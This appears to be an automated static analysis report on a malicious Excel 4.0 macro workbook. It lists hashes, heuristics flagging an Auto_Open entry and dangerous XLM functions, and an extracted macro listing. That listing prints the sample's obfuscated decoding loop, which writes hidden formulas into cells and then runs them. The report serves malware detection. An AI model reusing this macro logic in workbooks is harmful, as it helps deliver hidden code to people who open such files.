Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f3780726a276cb1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:28:38 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 660dff00f12606d9556df3d3bf92d9f1 SHA-1: 9fa322c4e286d4b7870c770deb1464f3d9198bba SHA-256: 3f3780726a276cb16f582b62d9cdcf67a0eca7b3a0697a60e4123c310e4f9adc
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This strongly suggests the macro is designed to execute arbitrary code, likely a downloader for a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6371 bytes
SHA-256: 1d1adc6407f60dd25a7207fea5b2eb3384ae0cde9f671bd4aa7386c3900123cd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sMD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A181 
' 0018     26 LABEL : Cell Value, String Constant - bZDmerNeupD len=0 
' 0018     22 LABEL : Cell Value, String Constant - cQaxBUh len=0 
' 0018     21 LABEL : Cell Value, String Constant - eNaiWc len=0 
' 0018     24 LABEL : Cell Value, String Constant - GjTgAsrJr len=0 
' 0018     26 LABEL : Cell Value, String Constant - hzogEwnIQiN len=0 
' 0018     23 LABEL : Cell Value, String Constant - IkpTgXyE len=0 
' 0018     25 LABEL : Cell Value, String Constant - JjIZlkEFcV len=0 
' 0018     24 LABEL : Cell Value, String Constant - JVEtZmtIA len=0 
' 0018     20 LABEL : Cell Value, String Constant - krlRC len=0 
' 0018     22 LABEL : Cell Value, String Constant - MpLWBwL len=0 
' 0018     26 LABEL : Cell Value, String Constant - MYibRvQIvhr len=0 
' 0018     22 LABEL : Cell Value, String Constant - oObEjTd len=0 
' 0018     20 LABEL : Cell Value, String Constant - RxqXG len=0 
' 0018     22 LABEL : Cell Value, String Constant - vIqmJlP len=0 
' 0018     24 LABEL : Cell Value, String Constant - VmwUjRLMb len=0 
' 0018     25 LABEL : Cell Value, String Constant - VOWpBGYVfR len=0 
' 0018     24 LABEL : Cell Value, String Constant - VpvuCfPmZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - whlzGGR len=0 
' 0018     26 LABEL : Cell Value, String Constant - ywszmqixSno len=0 
' 0018     25 LABEL : Cell Value, String Constant - zGuPhZRmOq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sMD,A90,"SET.NAME("oObEjTd",VALUE("0"))",""
'  sMD,A95,"SET.NAME("JjIZlkEFcV",oObEjTd)",""
'  sMD,A97,"SET.NAME("JVEtZmtIA",oObEjTd)",""
'  sMD,A99,"SET.NAME("cQaxBUh",COUNTA(RxqXG))",""
'  sMD,A103,"SET.NAME("hzogEwnIQiN",COUNTA(GjTgAsrJr))",""
'  sMD,A108,[],""
'  sMD,A110,"SET.NAME("VmwUjRLMb","")",""
'  sMD,A115,"JjIZlkEFcV",""
'  sMD,A119,"SET.NAME("IkpTgXyE",HLOOKUP("*",RxqXG,JjIZlkEFcV,FALSE))",""
'  sMD,A123,"whlzGGR",""
'  sMD,A127,"SET.NAME("krlRC",oObEjTd)",""
'  sMD,A132,[],""
'  sMD,A134,"krlRC",""
'  sMD,A136,"eNaiWc",""
'  sMD,A138,"vIqmJlP",""
'  sMD,A141,"ywszmqixSno",""
'  sMD,A143,"SET.NAME("zGuPhZRmOq",VALUE(HLOOKUP("*",GjTgAsrJr,ywszmqixSno,FALSE)))",""
'  sMD,A147,"bZDmerNeupD",""
'  sMD,A150,"VmwUjRLMb",""
'  sMD,A155,"JVEtZmtIA",""
'  sMD,A160,NEXT(),""
'  sMD,A164,"MYibRvQIvhr",""
'  sMD,A169,"SET.NAME("f",INT(T(FORMULA(T(VmwUjRLMb)&"",""&T(MYibRvQIvhr)))))",""
'  sMD,A171,"VOWpBGYVfR",""
'  sMD,A175,NEXT(),""
'  sMD,A177,RETURN(),""
'  sMD,A208,"SET.NAME("MpLWBwL",A90)",""
'  sMD,A212,"RxqXG",""
'  sMD,A217,"SET.NAME("GjTgAsrJr",R62C11)",""
'  sMD,A220,"SET.NAME("VOWpBGYVfR",231)",""
'  sMD,A225,"SET.NAME("VpvuCfPmZ",1)",""
'  sMD,A230,MpLWBwL(),""
'  sMD,A231,HALT(),""

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